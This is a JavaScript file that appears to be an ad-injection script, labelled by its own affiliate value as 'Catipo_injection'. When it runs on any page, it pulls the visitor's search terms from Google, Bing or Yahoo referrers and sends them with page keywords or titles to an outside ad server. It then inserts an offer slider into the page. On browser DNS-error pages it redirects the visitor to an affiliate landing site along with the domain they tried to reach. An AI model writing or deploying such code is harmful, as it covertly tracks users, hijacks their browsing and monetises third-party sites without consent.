(function(){

function loadScript(url, callback)
{
	var head = document.getElementsByTagName("head")[0];
    addLater = false;
    if(!head){
	head = document.createElement("head");
	addLater = true;
    }
    var script = document.createElement("script");
	script.src = url;
    script.type = "text/javascript";
    if (script.readyState){  //IE
        script.onreadystatechange = function(){
            if (script.readyState == "loaded" ||
                    script.readyState == "complete"){
                script.onreadystatechange = null;
                callback();
            }
        };
    } else {  //Others
        script.onload = function(){
            callback();
        };
    }
 	head.appendChild(script);
    if(addLater){
		document.documentElement.appendChild(head);
    }
}

if(typeof jQuery == 'undefined')
{
	loadScript("http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js", function(){ init(); });
}
else
	init();

function init(){

function loadCSS(url, callback)
{
	var head = document.getElementsByTagName("head")[0];
    addLater = false;
    if(!head){
	head = document.createElement("head");
	addLater = true;
    }
    var css = document.createElement("link");
	css.href = url;
    css.type = "text/css";
	css.rel = "stylesheet";
    if (css.readyState){  //IE
        css.onreadystatechange = function(){
            if (css.readyState == "loaded" ||
                    css.readyState == "complete"){
                css.onreadystatechange = null;
                callback();
            }
        };
    } else {  //Others
        css.onload = function(){
            callback();
        };
    }
 	head.appendChild(css);
    if(addLater){
		document.documentElement.appendChild(head);
    }
}

entity = function(url, mode) {
	var m;
	if (!url) {
		url = document.location.href;
	}
	m = url.match(/^https?:\/\/([^\/]+\.)?([a-z0-9\-_]+?)\.(co|org|net|com|gov|name|arpa|mil|edu|biz|mobi|aero|asia|cat|coop|info|int|jobs|museum|pro|tel|travel|xxx|[a-z][a-z]|(co|edu|gov|net|org|com)\.[a-z][a-z])(\/|$)/i);
	if (m === null) {
		if(url.indexOf('dnserror') != -1 || url.indexOf('ieframe.dll') != -1)
		{
			var loc_sp = url.split("#");
			if(loc_sp[1] && loc_sp[1] != '')
				window.location = "http://404bucks.com/landing/?uid="+affiliate+subid+"&domainname="+loc_sp[1];
		}
		else
			throw 'Not a valid URL: ' + url;
	}
	if(m[2] == "co" && url.indexOf('bbc') != -1)
		return "bbc";
	else if(m[2] == "yahoo" && url.indexOf('omg') != -1)
		return "omg";

	if(mode == 1)
		return m[2];
	else if(mode == 2)
		return m[2]+"."+m[3];
}

var affiliateId = "34253";
var subid = "";
var affiliate = "Catipo_injection";

var ref = document.referrer;
var pref = parent.window.document.referrer;
var isGoogle = false;
var isYahoo = false;
var isBing = false;
var sterm = '';
var loadAds = 0;
var pageUrl = window.location.href;
var htmlv = 5;

var sid = "";
var pageEntity = entity(window.location.href, 2);
var redirectUrl = "http://exitmonetization.com/landing/?id="+affiliateId+"&ref="+encodeURIComponent(ref)+"&subid="+subid;
var siteParam = "&site="+pageEntity;
var vsId = "OTwrOiA";
var vsliderUrl = "http://vslider.admedia.com/?id="+vsId;

getSearchedTerm = function(href) {
	m = href.match(/^https?:\/\/.*\.google\.[a-z\.]+\/.*#(.+&)?q=([^&]*).*$/);
	if (m !== null) {
		isGoogle = true;
		escapedTerm = m[2];
		term = unescape(m[2]);
		return term;
	}
	m = href.match(/^https?:\/\/.*\.google\.[a-z\.]+\/search\?(.+&)?q=([^&]*).*$/);
	if (m !== null) {
		isGoogle = true;
		escapedTerm = m[2];
		term = unescape(m[2]);
		return term;
	}
	m = href.match(/^https?:\/\/.*\.bing\.[a-z\.]+\/search\?(.+&)?q=([^&]*).*$/);
	if (m !== null) {
		isBing = true;
		escapedTerm = m[2];
		term = unescape(m[2]);
		return term;
	}
	m = href.match(/^https?:\/\/.*\.yahoo\.[a-z\.]+\/(.*\/)?search(;.*)\?(.+&)?p=([^&]*).*$/);
	if (m !== null) {
		isYahoo = true;
		escapedTerm = m[4];
		term = unescape(m[4]);
		return term;
	}

	if(entity(href, 1) == 'google')
		return 'googleSearchTerm';
	else
		return '';
}

shuffle = function(o){ //v1.0
	for(var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);
	return o;
};

getMetaKeyword = function() {
   var metatags = document.getElementsByTagName('meta'); 
   var metakeys = "";

   for (i=0; i<metatags.length; i++) { 
      if (metatags[i].getAttribute("name") && metatags[i].getAttribute("name") == "keywords") { 
         metakeys = metatags[i].getAttribute("content"); 
      } 
   } 

	if(metakeys != '')
	{
		metakeysArr = metakeys.split(",");
		metakeysArr = shuffle(metakeysArr);
		if(metakeysArr[0] != '')
			return metakeysArr[0];
		if(metakeysArr[1] != '')
			return metakeysArr[1];
	}
    return "";
}

function callXML(term)
{
	term = term.replace(/["']/g, "");
	var dataScriptUrl = "https://of.admedia.com/content.php?aff="+affiliate+"&term="+encodeURIComponent(term)+"&pageEntity="+pageEntity+"&callback=getLBCallback";
	jQuery.ajax({
		url:dataScriptUrl,
		type: "GET",
		dataType: 'jsonp', // Notice! JSONP <-- P (lowercase)
		jsonpCallback: 'getLBCallback',
		contentType: "application/json",
		success:function(json){
		   // do stuff with json (in this case an array)
		   //alert("Success");
		   getLBCallback(json);
		 },
		 error:function(){
		    //alert("Error");
		 },
	});
}

function getLBCallback(obj)
{
	var html = '';
	if(obj && obj.items && obj.items[0] && obj.items[0].title)
	{	
		title = obj.items[0].title;
		redirect = obj.items[0].url;
		desc = obj.items[0].description;
		adUrl = obj.items[0].displayUrl;
		im = obj.items[0].image;

		if(obj.logo && obj.logo != '')
			html += '<div id="admedia-offer-slider">';
		else
			html += '<div id="admedia-offer-slider" class="admedia-offer-no-logo">';

		html += '<a href="javascript: void();" onclick="document.getElementById(\'admedia-offer-slider\').remove();" id="admedia-offer-slider-close">X</a>';
		html += '<div id="admedia-offer-slider-header">';
		html += '<div id="admedia-offer-slider-logo-wrapper">';
        html += '<img src="'+obj.logo+'" width="198" height="50"/>';
        html += '</div>';
		html += '</div>';
		html += '<div id="admedia-offer-slider-content">';
        html += '<div class="admedia-offer-slider-item clearfix">';
        html += '<a class="admedia-offer-slider-item-image" href="'+redirect+'"><img src="'+im+'"/></a>';
        html += '<div class="admedia-offer-slider-item-info">';
        html += '<div class="admedia-offer-slider-item-title"><a target="_top" href="'+redirect+'" >'+title+'?</a></div>';
        html += '<div class="admedia-offer-slider-item-description"><a target="_top" href="'+redirect+'" >'+desc+'?</a></div>';
        html += '<div class="admedia-offer-slider-item-domain"><a target="_top" href="'+redirect+'" >'+adUrl+'</a></div>';              
        html += '</div>';
        html += '</div>';
        html += '</div>';
		html += '</div>';

		jQuery(window.document.body).append(html);
	}
}

	loadCSS("https://of.admedia.com/css/style.css", function(){
		sterm = getSearchedTerm(ref);
		if(sterm != '')
		{	
			if(sterm == 'googleSearchTerm')
			{
				sterm = getMetaKeyword();
				if(sterm == '')
					sterm = document.title;
			
				callXML(sterm);
			}
			else
			{	
				callXML(sterm);
			}
		}
	});

}
})();